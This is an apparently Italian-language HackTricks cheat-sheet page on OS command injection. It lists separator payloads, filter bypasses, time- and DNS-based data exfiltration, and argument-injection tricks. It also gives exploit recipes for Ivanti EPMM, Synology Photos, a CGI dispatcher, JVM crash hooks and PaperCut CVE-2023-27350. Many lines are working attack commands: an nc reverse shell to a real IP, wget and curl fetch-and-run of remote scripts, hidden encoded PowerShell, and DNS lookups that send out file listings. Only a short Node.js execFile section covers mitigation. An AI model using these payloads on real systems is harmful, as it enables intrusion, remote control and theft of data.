Command Injection

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

What is command Injection?

Una command injection consente a un attaccante di eseguire comandi arbitrari del sistema operativo sul server che ospita un’applicazione. Di conseguenza, l’applicazione e tutti i suoi dati possono essere completamente compromessi. L’esecuzione di questi comandi permette tipicamente all’attaccante di ottenere accesso non autorizzato o controllo sull’ambiente dell’applicazione e sul sistema sottostante.

Context

A seconda di dove viene iniettato il tuo input potrebbe essere necessario terminare il contesto racchiuso tra virgolette (usando " o ') prima dei comandi.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limitazioni Bypasses

Se stai cercando di eseguire comandi arbitrari all’interno di una macchina linux potresti essere interessato a leggere questi Bypasses:

Bypass Linux Restrictions

Esempi

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Valutazione aritmetica in Bash in script RewriteMap/CGI-style

RewriteMap helpers written in bash a volte spostano i parametri di query in variabili globali e poi li confrontano in contesti aritmetici ([[ $a -gt $b ]], $((...)), let). L’espansione aritmetica rianalizza il contenuto in token, quindi nomi di variabili controllati dall’attaccante o riferimenti ad array vengono espansi due volte e possono essere eseguiti.

Pattern osservato in Ivanti EPMM RewriteMap helpers:

  1. I parametri vengono mappati su variabili globali (st → gStartTime, h → theValue).
  2. Verifica successiva:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Invia st=theValue così gStartTime punta alla stringa theValue.
  2. Invia h=gPath['sleep 5'] così theValue contiene un indice di array; durante il controllo aritmetico viene eseguito sleep 5 (sostituire con un payload reale).

Sonda (~5s di ritardo poi 404 se vulnerabile):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Note:

  • Cerca lo stesso helper sotto altri prefissi (ad es., /mifs/c/aftstore/fob/).
  • I contesti aritmetici trattano i token sconosciuti come identificatori di variabili/array, quindi questo bypassa semplici metacharacter filters.

Parametri

Ecco i 25 principali parametri che potrebbero essere vulnerabili a code injection e simili RCE vulnerabilities (da link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Estrazione dei dati: carattere per carattere

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basato sullo strumento disponibile su https://github.com/HoLyVieR/dnsbin, ospitato anche su dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Strumenti online per verificare DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Bypass dei filtri

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Quando si esaminano backend JavaScript/TypeScript, spesso ci si imbatte nell’API child_process di Node.js.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() avvia una shell (/bin/sh -c), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, ;, &&, |, $(), …) provocherà command injection quando l’input utente viene concatenato nella stringa.

Mitigazione: usa execFile() (o spawn() senza l’opzione shell) e fornisci ogni argomento come un elemento separato dell’array in modo che la shell non venga coinvolta:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Iniezione di argument/opzione tramite trattino iniziale (argv, senza metacaratteri della shell)

Non tutte le injection richiedono metacaratteri della shell. Se l’applicazione passa stringhe non attendibili come argomenti a un’utilità di sistema (anche con execve/execFile e senza shell), molti programmi interpreteranno comunque qualsiasi argomento che inizi con - o -- come un’opzione. Questo permette a un attaccante di cambiare modalità, modificare percorsi di output o attivare comportamenti pericolosi senza mai entrare in una shell.

Luoghi tipici in cui questo si verifica:

  • Interfacce web integrate/handler CGI che costruiscono comandi come ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Router CGI centralizzati (e.g., /cgi-bin/<something>.cgi con un parametro selettore come topicurl=<handler>) dove più handler riutilizzano lo stesso validatore debole.

Cosa provare:

  • Fornire valori che iniziano con -/-- in modo che vengano interpretati come flag dallo strumento a valle.
  • Abusare di flag che cambiano il comportamento o scrivono file, per esempio:
  • ping: -f/-c 100000 per sovraccaricare il dispositivo (DoS)
  • curl: -o /tmp/x per scrivere percorsi arbitrari, -K <url> per caricare una config controllata dall’attaccante
  • tcpdump: -G 1 -W 1 -z /path/script.sh per ottenere l’esecuzione post-rotate in wrapper non sicuri
  • Se il programma supporta -- (end-of-options), prova a bypassare mitigazioni naive che premettono -- nel posto sbagliato.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks per exec garantita

Qualsiasi primitiva che ti permette di inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) può essere trasformata in un RCE affidabile senza toccare il bytecode dell’applicazione:

  1. Forza un crash deterministico riducendo metaspace o heap: -XX:MaxMetaspaceSize=16m (or a tiny -Xmx). Questo garantisce un OutOfMemoryError anche durante il bootstrap iniziale.
  2. Allega un hook di errore: -XX:OnOutOfMemoryError="<cmd>" or -XX:OnError="<cmd>" esegue un comando OS arbitrario ogni volta che la JVM si arresta.
  3. Facoltativamente aggiungi -XX:+CrashOnOutOfMemoryError per evitare tentativi di recupero e mantenere il payload one-shot.

Esempi di payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Poiché queste diagnostiche vengono analizzate dalla JVM stessa, non sono necessari shell metacharacters e il comando viene eseguito con lo stesso livello di integrità del launcher. I bug di Desktop IPC che inoltrano JVM flags fornite dall’utente (vedi Localhost WebSocket abuse) si traducono quindi direttamente in esecuzione di comandi sul sistema operativo.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) espongono /app?service=page/SetupCompleted; navigando lì e cliccando Login viene restituito un valido JSESSIONID senza credenziali (bypass di autenticazione nel flusso di setup).
  • In Options → Config Editor, impostare print-and-device.script.enabled=Y e print.script.sandboxed=N per attivare lo scripting della stampante e disabilitare la sandbox.
  • Nella scheda della stampante Scripting, abilita lo script e lascia printJobHook definito per evitare errori di validazione, ma posiziona il payload outside della funzione in modo che venga eseguito immediatamente quando clicchi Apply (non è necessario alcun print job):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Sostituisci il callback con una reverse shell; se la UI/PoC non può gestire pipes/redirects, prepara un payload con un solo comando ed eseguilo con una seconda richiesta.
  • Lo script di Horizon3 CVE-2023-27350.py automatizza l’auth bypass, i config flips, l’esecuzione dei comandi e il rollback—eseguilo tramite un proxy upstream (es., proxychains → Squid) quando il servizio è raggiungibile solo internamente.

Lista di rilevamento Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks